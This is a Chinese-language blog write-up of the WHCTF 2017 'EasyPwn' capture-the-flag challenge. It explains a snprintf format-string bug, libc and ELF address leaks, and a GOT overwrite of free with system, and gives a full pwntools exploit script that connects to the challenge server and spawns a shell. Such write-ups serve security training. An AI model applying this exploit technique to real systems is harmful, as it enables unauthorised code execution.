攻防世界-PWN进阶区-EasyPwn(XCTF 4th-WHCTF-2017)

这题其实不算难,不过漏洞比较隐蔽,需要细心才能发现

题目分析

checksec:
在这里插入图片描述
RELRO只是部分开启,考虑覆写GOT表

main:
在这里插入图片描述

echo:
在这里插入图片描述
在该函数中存在一个溢出:
v2的大小为1000(0x3E8),而我们的输入最大为0x438(输入缓冲区大小为0x400),如果我们的输入大于0x3E8,就会覆盖了v3的内容(%s),而%s是snprintf在向v2写入数据时格式化写入的数据的,如果被覆盖,之后我们再加上%x$p,格式化字符串就变成了"bb%x$p",snprintf就会把位置在x的数据写入v2中。
但是按理来说,在调用snprintf时%s就已经被传入,即使v3被修改应该影响不了snprintf,下面是某dalao对此的解释:

snprintf 把格式化字符串的地址记下来,然后,每次要处理一个字符时,先从地址处取格式化字符串,然后再根据格式化字符串来处理字符。由于地址是没变的,变的是地址里面的内容。

漏洞利用

根据上文的分析,可以发现echo函数中的格式化字符串漏洞,我们可以使用该漏洞修改free函数的got表项来得到shell,过程如下:

  1. 执行执行一次2,调用free,从而把free的地址加载进got表
  2. 用格式化字符串泄露 __libc_start_main+0xF0的地址,从而计算libc的基地址,payload: ‘a’ * 0x3E8 + ‘bb%397$p’,这里简单说一下为什么是397

我们现在snprintf的位置下断点,输入%p:%p:%p:%p:%p:%p.运行至此处,此时main的返回地址位于0x7fff0d97f298,而此时rsp为0x7fff0d97e650,(0x7fff0d97f298-0x7fff0d97e650)/8=393,而第三个为0x7fff0d97e650内存储的值,它是%4$p,因此0x7ffd7b5c0348应该是%(4+393)$p
在这里插入图片描述
在这里插入图片描述

  1. 利用格式化字符串泄露elf的基地址,payload:payload: ‘a’ * 0x3E8 + ‘bb%396$p’

在上面的调试中可以发现,在main函数返回地址的上面正好是init函数的地址(下图因为重新启动了进程所以地址变了)
在这里插入图片描述
因此我们把该地址减去0xDA0就是elf的基地址
在这里插入图片描述

  1. 把free的got表最低4个字节改成system的最低4个字节(他们两个只有最低4个字节不同),这样执行free操作就会调用system
    在这里插入图片描述

这里说一下如何构造%n覆写got
在snprintf中,被写入目标地址的字符数就是%n写入的值,而本题中这个值至少为1000,所以我们按如下方法构造payload

num = (system & 0xFFFF) - padding_num
print hex(num + padding_num)
payload = 'a' * padding_num + ('bb%' + str(num) + 'c%133$hn').ljust(16, 'a') + p64(free_got)
echo(payload)
num = ((system >> 16) & 0xFFFF) - padding_num
print hex(num + padding_num)
payload = 'a' * padding_num + ('bb%' + str(num) + 'c%133$hn').ljust(16, 'a') + p64(free_got + 2)
echo(payload)

但是,经过调试发现,写入的值比预想中多了 0x16 (0xb3a6-0xb390=0x16,0xa677-0xa661=0x16)
这里真的很坑,我一开始还以为是题目给的libc是错的
当然我也不知道为什么会多0x16,希望有dalao解释一下
在这里插入图片描述
因此,新的pyaload如下

num = (system & 0xFFFF) - padding_num - 0x16
print hex(num + padding_num)
payload = 'a' * padding_num + ('bb%' + str(num) + 'c%133$hn').ljust(16, 'a') + p64(free_got)
echo(payload)
num = ((system >> 16) & 0xFFFF) - padding_num - 0x16
print hex(num + padding_num)
payload = 'a' * padding_num + ('bb%' + str(num) + 'c%133$hn').ljust(16, 'a') + p64(free_got + 2)
echo(payload)

Exp

from pwn import *

r = remote("111.198.29.45", 46667)
elf = ELF('./EasyPwn/pwn1')
libc = ELF('./EasyPwn/libc.so.6')
def echo(payload):
	print r.recvuntil("Input Your Code:\n")
	r.sendline('1')
	print r.recvuntil("Welcome To WHCTF2017:\n")	
	r.sendline(payload)

def setName(name):
	print r.recvuntil("Input Your Code:\n")
	r.sendline('2')
	print r.recvuntil("Input Your Name:\n")	
	r.sendline(name)

setName("1")

padding_num = 0x7f8 - 0x410
payload = 'a' * padding_num + 'bb%397$p'
echo(payload)
print r.recvuntil("0x")
main_return = int(r.recvuntil('\n').strip(), 16)
libc_base = (main_return - 0xF0) - libc.symbols['__libc_start_main']
system = libc_base + libc.symbols['system']
free = libc_base + libc.symbols['free']
print "system:", hex(system)
print "free:", hex(free)


payload = 'a' * padding_num + 'bb%396$p'
echo(payload)
print r.recvuntil("0x")
init_addr = int(r.recvuntil('\n').strip(), 16)
code_base = init_addr - 0xda0
print "code base:", hex(code_base)
free_got = code_base + elf.got['free']
print "free got:", hex(free_got)

num = (system & 0xFFFF) - padding_num - 0x16
print hex(num + padding_num)
payload = 'a' * padding_num + ('bb%' + str(num) + 'c%133$hn').ljust(16, 'a') + p64(free_got)
echo(payload)
num = ((system >> 16) & 0xFFFF) - padding_num - 0x16
print hex(num + padding_num)
payload = 'a' * padding_num + ('bb%' + str(num) + 'c%133$hn').ljust(16, 'a') + p64(free_got + 2)
echo(payload)
setName('/bin/sh')
r.interactive()

成功获得shell:
在这里插入图片描述

发布了28 篇原创文章 · 获赞 4 · 访问量 2551

猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/104651124
今日推荐